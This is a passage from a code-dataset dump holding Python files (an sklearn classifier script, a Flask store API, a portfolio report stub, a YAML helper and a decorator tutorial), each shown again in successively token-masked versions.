np.mean(r['test_%s' % metric])))\n print('\\nMean fit time: {:.6f} seconds'.format(np.mean(r['fit_time'])))\n print('Mean score time: {:.6f} seconds'.format(np.mean(r['score_time'])))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef build_DT_classifier(X_training, y_training):\n \"\"\" \n Build a Decision Tree classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n dtc: the decision tree classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'max_depth': np.linspace(1, 100, 100, dtype=int)}\n print_clf_intro('DECISION TREE', params)\n dtc = model_selection.GridSearchCV(tree.DecisionTreeClassifier(\n random_state=5), params, return_train_score=True, scoring=[\n 'accuracy', 'roc_auc', 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n dtc.fit(X_training, y_training)\n return dtc\n\n\n<function token>\n\n\ndef build_SVM_classifier(X_training, y_training):\n \"\"\" \n Build a Support Vector Machine classifier based on the training set X_training, y_training.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n svm: the svm classifier built in this function (i.e. a GridSearchCV \n object that is usable exactly as a clf object, but allows access \n to scores from HP optimization)\n \"\"\"\n params = {'gamma': np.logspace(-10, 1, 100)}\n print_clf_intro('SUPPORT VECTOR MACHINE', params)\n svc = model_selection.GridSearchCV(svm.SVC(), params,\n return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n svc.fit(X_training, y_training)\n return svc\n\n\ndef print_prediction_report(y_pred, y_true, names):\n \"\"\"\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n \"\"\"\n labels = 1, 0\n print('\\nConfusion Matrix:')\n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names) == len(cm)\n assert cm.shape == (2, 2)\n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:', names[0], names[1],\n 'All'))\n print('ACTUAL: ')\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm\n [0, 0], '', '(FN)', cm[0, 1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm\n [1, 0], '', '(TN)', cm[1, 1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All', sum(cm[:, 0]), sum(cm[:, 1]\n ), sum(sum(cm))))\n print('\\nClassification Report:')\n print(metrics.classification_report(y_true, y_pred, labels,\n target_names=names))\n print('\\nOverall Metrics:')\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(\n y_true, y_pred)))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred)))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('variance:', metrics.\n explained_variance_score(y_true, y_pred)))\n\n\ndef print_cv_report(r):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n results: a dict of results from running sklearn.model_selection.cross_validate,\n scored by accuracy, roc_auc, precision and recall. \n \n @return:\n None. Print to console. \n \"\"\"\n score_grid = ['accuracy', 'precision', 'recall', 'f1', 'roc_auc']\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', np.mean(r[\n 'train_%s' % metric]), np.mean(r['test_%s' % metric])))\n print('\\nMean fit time: {:.6f} seconds'.format(np.mean(r['fit_time'])))\n print('Mean score time: {:.6f} seconds'.format(np.mean(r['score_time'])))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef build_DT_classifier(X_training, y_training):\n \"\"\" \n Build a Decision Tree classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n dtc: the decision tree classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'max_depth': np.linspace(1, 100, 100, dtype=int)}\n print_clf_intro('DECISION TREE', params)\n dtc = model_selection.GridSearchCV(tree.DecisionTreeClassifier(\n random_state=5), params, return_train_score=True, scoring=[\n 'accuracy', 'roc_auc', 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n dtc.fit(X_training, y_training)\n return dtc\n\n\n<function token>\n\n\ndef build_SVM_classifier(X_training, y_training):\n \"\"\" \n Build a Support Vector Machine classifier based on the training set X_training, y_training.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n svm: the svm classifier built in this function (i.e. a GridSearchCV \n object that is usable exactly as a clf object, but allows access \n to scores from HP optimization)\n \"\"\"\n params = {'gamma': np.logspace(-10, 1, 100)}\n print_clf_intro('SUPPORT VECTOR MACHINE', params)\n svc = model_selection.GridSearchCV(svm.SVC(), params,\n return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n svc.fit(X_training, y_training)\n return svc\n\n\ndef print_prediction_report(y_pred, y_true, names):\n \"\"\"\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n \"\"\"\n labels = 1, 0\n print('\\nConfusion Matrix:')\n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names) == len(cm)\n assert cm.shape == (2, 2)\n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:', names[0], names[1],\n 'All'))\n print('ACTUAL: ')\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm\n [0, 0], '', '(FN)', cm[0, 1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm\n [1, 0], '', '(TN)', cm[1, 1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All', sum(cm[:, 0]), sum(cm[:, 1]\n ), sum(sum(cm))))\n print('\\nClassification Report:')\n print(metrics.classification_report(y_true, y_pred, labels,\n target_names=names))\n print('\\nOverall Metrics:')\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(\n y_true, y_pred)))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred)))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('variance:', metrics.\n explained_variance_score(y_true, y_pred)))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef build_SVM_classifier(X_training, y_training):\n \"\"\" \n Build a Support Vector Machine classifier based on the training set X_training, y_training.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n svm: the svm classifier built in this function (i.e. a GridSearchCV \n object that is usable exactly as a clf object, but allows access \n to scores from HP optimization)\n \"\"\"\n params = {'gamma': np.logspace(-10, 1, 100)}\n print_clf_intro('SUPPORT VECTOR MACHINE', params)\n svc = model_selection.GridSearchCV(svm.SVC(), params,\n return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n svc.fit(X_training, y_training)\n return svc\n\n\ndef print_prediction_report(y_pred, y_true, names):\n \"\"\"\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n \"\"\"\n labels = 1, 0\n print('\\nConfusion Matrix:')\n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names) == len(cm)\n assert cm.shape == (2, 2)\n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:', names[0], names[1],\n 'All'))\n print('ACTUAL: ')\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm\n [0, 0], '', '(FN)', cm[0, 1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm\n [1, 0], '', '(TN)', cm[1, 1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All', sum(cm[:, 0]), sum(cm[:, 1]\n ), sum(sum(cm))))\n print('\\nClassification Report:')\n print(metrics.classification_report(y_true, y_pred, labels,\n target_names=names))\n print('\\nOverall Metrics:')\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(\n y_true, y_pred)))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred)))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('variance:', metrics.\n explained_variance_score(y_true, y_pred)))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef print_prediction_report(y_pred, y_true, names):\n \"\"\"\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n \"\"\"\n labels = 1, 0\n print('\\nConfusion Matrix:')\n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names) == len(cm)\n assert cm.shape == (2, 2)\n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:', names[0], names[1],\n 'All'))\n print('ACTUAL: ')\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm\n [0, 0], '', '(FN)', cm[0, 1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm\n [1, 0], '', '(TN)', cm[1, 1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All', sum(cm[:, 0]), sum(cm[:, 1]\n ), sum(sum(cm))))\n print('\\nClassification Report:')\n print(metrics.classification_report(y_true, y_pred, labels,\n target_names=names))\n print('\\nOverall Metrics:')\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(\n y_true, y_pred)))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred)))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('variance:', metrics.\n explained_variance_score(y_true, y_pred)))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]

[ "from flask_restful import Resource, reqparse\nfrom models.store import StoreModel\n\n\nclass Store(Resource):\n def get(self, name):\n store = StoreModel.find_store_by_name(name)\n if store:\n return store.json(), 200\n return {\"messgae\": f\"{name}store not found\"}, 404\n\n def post(self, name):\n store = StoreModel.find_store_by_name(name)\n if store:\n return {\"message\": f\"{name} already exists\"}, 400\n\n store = StoreModel(name)\n try:\n store.save_to_db()\n return {\"message\": \"store is created\"}, 201\n except:\n return {\"messgae\": \"an error has occured while saving to db\"}, 500\n\n def delete(self, name):\n store = StoreModel.find_store_by_name(name)\n if store:\n try:\n store.delete_store()\n return {\"message\": \"Store been deleted \"}, 200\n except:\n return {\"message\": \"An error occured while deleting the store\"}, 500\n return {\"message\": f\"Unable to locate {name}\"}, 404\n\n\nclass StoreList(Resource):\n def get(self):\n return {\"stores\": list(map(lambda store: store.json(), StoreModel.query.all()))}\n", "from flask_restful import Resource, reqparse\nfrom models.store import StoreModel\n\n\nclass Store(Resource):\n\n def get(self, name):\n store = StoreModel.find_store_by_name(name)\n if store:\n return store.json(), 200\n return {'messgae': f'{name}store not found'}, 404\n\n def post(self, name):\n store = StoreModel.find_store_by_name(name)\n if store:\n return {'message': f'{name} already exists'}, 400\n store = StoreModel(name)\n try:\n store.save_to_db()\n return {'message': 'store is created'}, 201\n except:\n return {'messgae': 'an error has occured while saving to db'}, 500\n\n def delete(self, name):\n store = StoreModel.find_store_by_name(name)\n if store:\n try:\n store.delete_store()\n return {'message': 'Store been deleted '}, 200\n except:\n return {'message': 'An error occured while deleting the store'\n }, 500\n return {'message': f'Unable to locate {name}'}, 404\n\n\nclass StoreList(Resource):\n\n def get(self):\n return {'stores': list(map(lambda store: store.json(), StoreModel.\n query.all()))}\n", "<import token>\n\n\nclass Store(Resource):\n\n def get(self, name):\n store = StoreModel.find_store_by_name(name)\n if store:\n return store.json(), 200\n return {'messgae': f'{name}store not found'}, 404\n\n def post(self, name):\n store = StoreModel.find_store_by_name(name)\n if store:\n return {'message': f'{name} already exists'}, 400\n store = StoreModel(name)\n try:\n store.save_to_db()\n return {'message': 'store is created'}, 201\n except:\n return {'messgae': 'an error has occured while saving to db'}, 500\n\n def delete(self, name):\n store = StoreModel.find_store_by_name(name)\n if store:\n try:\n store.delete_store()\n return {'message': 'Store been deleted '}, 200\n except:\n return {'message': 'An error occured while deleting the store'\n }, 500\n return {'message': f'Unable to locate {name}'}, 404\n\n\nclass StoreList(Resource):\n\n def get(self):\n return {'stores': list(map(lambda store: store.json(), StoreModel.\n query.all()))}\n", "<import token>\n\n\nclass Store(Resource):\n\n def get(self, name):\n store = StoreModel.find_store_by_name(name)\n if store:\n return store.json(), 200\n return {'messgae': f'{name}store not found'}, 404\n <function token>\n\n def delete(self, name):\n store = StoreModel.find_store_by_name(name)\n if store:\n try:\n store.delete_store()\n return {'message': 'Store been deleted '}, 200\n except:\n return {'message': 'An error occured while deleting the store'\n }, 500\n return {'message': f'Unable to locate {name}'}, 404\n\n\nclass StoreList(Resource):\n\n def get(self):\n return {'stores': list(map(lambda store: store.json(), StoreModel.\n query.all()))}\n", "<import token>\n\n\nclass Store(Resource):\n\n def get(self, name):\n store = StoreModel.find_store_by_name(name)\n if store:\n return store.json(), 200\n return {'messgae': f'{name}store not found'}, 404\n <function token>\n <function token>\n\n\nclass StoreList(Resource):\n\n def get(self):\n return {'stores': list(map(lambda store: store.json(), StoreModel.\n query.all()))}\n", "<import token>\n\n\nclass Store(Resource):\n <function token>\n <function token>\n <function token>\n\n\nclass StoreList(Resource):\n\n def get(self):\n return {'stores': list(map(lambda store: store.json(), StoreModel.\n query.all()))}\n", "<import token>\n<class token>\n\n\nclass StoreList(Resource):\n\n def get(self):\n return {'stores': list(map(lambda store: store.json(), StoreModel.\n query.all()))}\n", "<import token>\n<class token>\n\n\nclass StoreList(Resource):\n <function token>\n", "<import token>\n<class token>\n<class token>\n" ]

[ "import pandas as pd\n\nfrom trading_system.portfolio import Portfolio\nfrom .performance import create_drawdowns, create_sharpe_returns\nfrom .report import Report\n\n\nclass ReportHandler:\n \"\"\"\n The ReportHandler class generates reports based on the holdings\n data in the Portfolio structure.\n \"\"\"\n\n def __init__(self, portfolio: Portfolio):\n self.portfolio = portfolio\n\n def generate_report(self) -> Report:\n \"\"\"\n Generate a new report from the current portfolio data.\n \"\"\"\n # equity_curve = self._generate_equity_curve()\n # summary_stats = self._generate_summary_stats(equity_curve)\n # return Report(equity_curve, summary_stats)\n pass\n #\n # def _generate_equity_curve(self):\n # \"\"\"\n # Creates a pandas DataFrame from the all_holdings list of dictionaries.\n # \"\"\"\n # curve = pd.DataFrame(self.portfolio.all_holdings)\n # curve.set_index('datetime', inplace=True)\n # curve['returns'] = curve['total'].pct_change()\n # curve['equity'] = (1.0+curve['returns']).cumprod()\n # return curve\n #\n # @staticmethod\n # def _generate_summary_stats(equity_curve):\n # \"\"\"\n # Creates a list of summary statistics for the portfolio such as\n # Sharpe Ratio and drawdown information.\n # \"\"\"\n # total_return = equity_curve['equity'][-1]\n # returns = equity_curve['returns']\n # pnl = equity_curve['equity']\n #\n # sharpe_ratio = create_sharpe_returns(returns)\n # max_drawdown, drawdown_duration = create_drawdowns(pnl)\n #\n # return {'total_return': total_return,\n # 'sharpe_ratio': sharpe_ratio,\n # 'max_drawdown': max_drawdown,\n # 'drawdown_duration': drawdown_duration}\n", "import pandas as pd\nfrom trading_system.portfolio import Portfolio\nfrom .performance import create_drawdowns, create_sharpe_returns\nfrom .report import Report\n\n\nclass ReportHandler:\n \"\"\"\n The ReportHandler class generates reports based on the holdings\n data in the Portfolio structure.\n \"\"\"\n\n def __init__(self, portfolio: Portfolio):\n self.portfolio = portfolio\n\n def generate_report(self) ->Report:\n \"\"\"\n Generate a new report from the current portfolio data.\n \"\"\"\n pass\n", "<import token>\n\n\nclass ReportHandler:\n \"\"\"\n The ReportHandler class generates reports based on the holdings\n data in the Portfolio structure.\n \"\"\"\n\n def __init__(self, portfolio: Portfolio):\n self.portfolio = portfolio\n\n def generate_report(self) ->Report:\n \"\"\"\n Generate a new report from the current portfolio data.\n \"\"\"\n pass\n", "<import token>\n\n\nclass ReportHandler:\n <docstring token>\n\n def __init__(self, portfolio: Portfolio):\n self.portfolio = portfolio\n\n def generate_report(self) ->Report:\n \"\"\"\n Generate a new report from the current portfolio data.\n \"\"\"\n pass\n", "<import token>\n\n\nclass ReportHandler:\n <docstring token>\n\n def __init__(self, portfolio: Portfolio):\n self.portfolio = portfolio\n <function token>\n", "<import token>\n\n\nclass ReportHandler:\n <docstring token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]

[ "\"\"\" helper functions for yaml usage \"\"\"\n\nclass myyaml():\n \"\"\" myyaml \"\"\"\n\n _yaml = None\n parser = None\n\n def __init__(self):\n \"\"\" __init__ \"\"\"\n pass\n\n def available(self):\n \"\"\" available() \"\"\"\n if not myyaml._yaml:\n try:\n import yaml\n myyaml._yaml = yaml\n myyaml.parser = yaml.parser\n except ImportError:\n return False\n return True\n\n def safe_load(self,value_string):\n \"\"\" safe_load() \"\"\"\n return myyaml._yaml.safe_load(value_string)\n\n def safe_dump(self, results):\n \"\"\" safe_dump() \"\"\"\n return myyaml._yaml.safe_dump(results)\n", "<docstring token>\n\n\nclass myyaml:\n \"\"\" myyaml \"\"\"\n _yaml = None\n parser = None\n\n def __init__(self):\n \"\"\" __init__ \"\"\"\n pass\n\n def available(self):\n \"\"\" available() \"\"\"\n if not myyaml._yaml:\n try:\n import yaml\n myyaml._yaml = yaml\n myyaml.parser = yaml.parser\n except ImportError:\n return False\n return True\n\n def safe_load(self, value_string):\n \"\"\" safe_load() \"\"\"\n return myyaml._yaml.safe_load(value_string)\n\n def safe_dump(self, results):\n \"\"\" safe_dump() \"\"\"\n return myyaml._yaml.safe_dump(results)\n", "<docstring token>\n\n\nclass myyaml:\n <docstring token>\n _yaml = None\n parser = None\n\n def __init__(self):\n \"\"\" __init__ \"\"\"\n pass\n\n def available(self):\n \"\"\" available() \"\"\"\n if not myyaml._yaml:\n try:\n import yaml\n myyaml._yaml = yaml\n myyaml.parser = yaml.parser\n except ImportError:\n return False\n return True\n\n def safe_load(self, value_string):\n \"\"\" safe_load() \"\"\"\n return myyaml._yaml.safe_load(value_string)\n\n def safe_dump(self, results):\n \"\"\" safe_dump() \"\"\"\n return myyaml._yaml.safe_dump(results)\n", "<docstring token>\n\n\nclass myyaml:\n <docstring token>\n <assignment token>\n <assignment token>\n\n def __init__(self):\n \"\"\" __init__ \"\"\"\n pass\n\n def available(self):\n \"\"\" available() \"\"\"\n if not myyaml._yaml:\n try:\n import yaml\n myyaml._yaml = yaml\n myyaml.parser = yaml.parser\n except ImportError:\n return False\n return True\n\n def safe_load(self, value_string):\n \"\"\" safe_load() \"\"\"\n return myyaml._yaml.safe_load(value_string)\n\n def safe_dump(self, results):\n \"\"\" safe_dump() \"\"\"\n return myyaml._yaml.safe_dump(results)\n", "<docstring token>\n\n\nclass myyaml:\n <docstring token>\n <assignment token>\n <assignment token>\n <function token>\n\n def available(self):\n \"\"\" available() \"\"\"\n if not myyaml._yaml:\n try:\n import yaml\n myyaml._yaml = yaml\n myyaml.parser = yaml.parser\n except ImportError:\n return False\n return True\n\n def safe_load(self, value_string):\n \"\"\" safe_load() \"\"\"\n return myyaml._yaml.safe_load(value_string)\n\n def safe_dump(self, results):\n \"\"\" safe_dump() \"\"\"\n return myyaml._yaml.safe_dump(results)\n", "<docstring token>\n\n\nclass myyaml:\n <docstring token>\n <assignment token>\n <assignment token>\n <function token>\n\n def available(self):\n \"\"\" available() \"\"\"\n if not myyaml._yaml:\n try:\n import yaml\n myyaml._yaml = yaml\n myyaml.parser = yaml.parser\n except ImportError:\n return False\n return True\n\n def safe_load(self, value_string):\n \"\"\" safe_load() \"\"\"\n return myyaml._yaml.safe_load(value_string)\n <function token>\n", "<docstring token>\n\n\nclass myyaml:\n <docstring token>\n <assignment token>\n <assignment token>\n <function token>\n\n def available(self):\n \"\"\" available() \"\"\"\n if not myyaml._yaml:\n try:\n import yaml\n myyaml._yaml = yaml\n myyaml.parser = yaml.parser\n except ImportError:\n return False\n return True\n <function token>\n <function token>\n", "<docstring token>\n\n\nclass myyaml:\n <docstring token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<class token>\n" ]

[ "# Decorator\n\"\"\"\n Given spam a fn. and eggs a deco\n spam = eggs(spam)\n def eggs(function):\n return function\n @eggs\n def spam():\n pass\n\n\"\"\"\n\"\"\"\n Sample Decorator\n\n\"\"\"\n\nimport functools\n# Decorator Function\n\n\ndef print_all_input(function):\n @functools.wraps(function)\n def aeggs(*args, **kwargs):\n print (\"args are \", args)\n print ('$' * 10)\n print (\"kwargs are \", kwargs)\n\n print (\"NAME OF Function is\", function.__name__)\n\n return function(*args, **kwargs)\n return aeggs\n# Normal func\n\n\n@print_all_input\ndef spam(a, b, c):\n return a + b + c\n\nprint (spam(1, 2, 3))\n\n\"\"\"\nHow decorators used in debug\n\nimport somemodule\ndebug_this_function=debug(somemodule.somefunc)\nget debugoutput\ndebug_this_function()\n\nalso\nsomemodule.somefunc= debug_this_function\nNow when u call somemodule.somefunc u will get decorated out\n\"\"\"\n\n\ndef plus_one(function):\n @functools.wraps(function)\n def _plus_one(self, n):\n return function(self, n + 1)\n return _plus_one\n\n\nclass Spam(object):\n def __init__(self):\n pass\n\n @plus_one\n def somefunc(self, n):\n print (n)\n\nSpam().somefunc(1)\n\n\n\"\"\"\nclass method and staticmethod\nclassmethod passes object and static method skips both instance and object\n\n\n\"\"\"\nprint (\"$\" * 10)\n\n\nclass Spam(object):\n def __init__(self):\n pass\n\n def some_instance(self, *args, **kwargs):\n print ('args ', args)\n print ('kwargs ', kwargs)\n print ('self ', self)\n\n @classmethod\n def some_cls_method(cls, *args, **kwargs):\n print ('args ', args)\n print ('kwargs ', kwargs)\n print ('cls ', cls)\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print ('args ', args)\n print ('kwargs ', kwargs)\n\n\nspam = Spam()\nspam.some_instance(1, 2, a=5, b=6)\n# Spam.some_instance() will through an error\nprint (spam.some_cls_method(1, 2, a=2, b=3))\nSpam.some_cls_method()\n\"\"\"\nargs ()\nkwargs {}\ncls <class '__main__.Spam'>\n\n\"\"\"\n\"\"\"\n Extra Arguments in decorator\n\n\n\"\"\"\nprint ('$' * 10)\n\n\ndef add(extra_n=5):\n\n def _add(function):\n @functools.wraps(function)\n def __add(n):\n print (\"hey \", extra_n, n)\n return function(n + extra_n)\n return __add\n return _add\n\n\n@add(7)\n@add(2)\ndef spam(n):\n return n\nprint (spam(5))\n", "<docstring token>\nimport functools\n\n\ndef print_all_input(function):\n\n @functools.wraps(function)\n def aeggs(*args, **kwargs):\n print('args are ', args)\n print('$' * 10)\n print('kwargs are ', kwargs)\n print('NAME OF Function is', function.__name__)\n return function(*args, **kwargs)\n return aeggs\n\n\n@print_all_input\ndef spam(a, b, c):\n return a + b + c\n\n\nprint(spam(1, 2, 3))\n<docstring token>\n\n\ndef plus_one(function):\n\n @functools.wraps(function)\n def _plus_one(self, n):\n return function(self, n + 1)\n return _plus_one\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n @plus_one\n def somefunc(self, n):\n print(n)\n\n\nSpam().somefunc(1)\n<docstring token>\nprint('$' * 10)\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n def some_instance(self, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('self ', self)\n\n @classmethod\n def some_cls_method(cls, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('cls ', cls)\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\nspam = Spam()\nspam.some_instance(1, 2, a=5, b=6)\nprint(spam.some_cls_method(1, 2, a=2, b=3))\nSpam.some_cls_method()\n<docstring token>\nprint('$' * 10)\n\n\ndef add(extra_n=5):\n\n def _add(function):\n\n @functools.wraps(function)\n def __add(n):\n print('hey ', extra_n, n)\n return function(n + extra_n)\n return __add\n return _add\n\n\n@add(7)\n@add(2)\ndef spam(n):\n return n\n\n\nprint(spam(5))\n", "<docstring token>\n<import token>\n\n\ndef print_all_input(function):\n\n @functools.wraps(function)\n def aeggs(*args, **kwargs):\n print('args are ', args)\n print('$' * 10)\n print('kwargs are ', kwargs)\n print('NAME OF Function is', function.__name__)\n return function(*args, **kwargs)\n return aeggs\n\n\n@print_all_input\ndef spam(a, b, c):\n return a + b + c\n\n\nprint(spam(1, 2, 3))\n<docstring token>\n\n\ndef plus_one(function):\n\n @functools.wraps(function)\n def _plus_one(self, n):\n return function(self, n + 1)\n return _plus_one\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n @plus_one\n def somefunc(self, n):\n print(n)\n\n\nSpam().somefunc(1)\n<docstring token>\nprint('$' * 10)\n\n\nclass Spam(object):\n\n def __init__(self):\n pass\n\n def some_instance(self, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('self ', self)\n\n @classmethod\n def some_cls_method(cls, *args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n print('cls ', cls)\n\n @staticmethod\n def some_gen_method(*args, **kwargs):\n print('args ', args)\n print('kwargs ', kwargs)\n\n\nspam = Spam()\nspam.some_instance(1, 2, a=5, b=6)\nprint(spam.some_cls_method(1, 2, a=2, b=3))\nSpam.some_cls_method()\n<docstring token>\nprint('$' * 10)\n\n\ndef add(extra_n=5):\n\n def _add(function):\n\n @functools.wraps(function)\n def __add(n):\n print('hey ', extra_n, n)\n return function(n + extra_n)\n return __add\n return _add\n\n\n@add(7)\n@add(2)\ndef spam(n):\n return n\n\n\nprint(spam(5))\n", "<docstring token>\n<import token>\n\n\ndef print_all_input(function):\n\n @functools.wraps(function)\n def aeggs(*args, **kwargs):\n print('args are ', args)\n print('$' * 10)\n print('kwargs are ', kwargs)\n print('NAME OF Function is', function.__name__)\n return function(*args, **kwargs)\n return aeggs\n\n\n@print_all_input\ndef spam(a, b, c):\n return 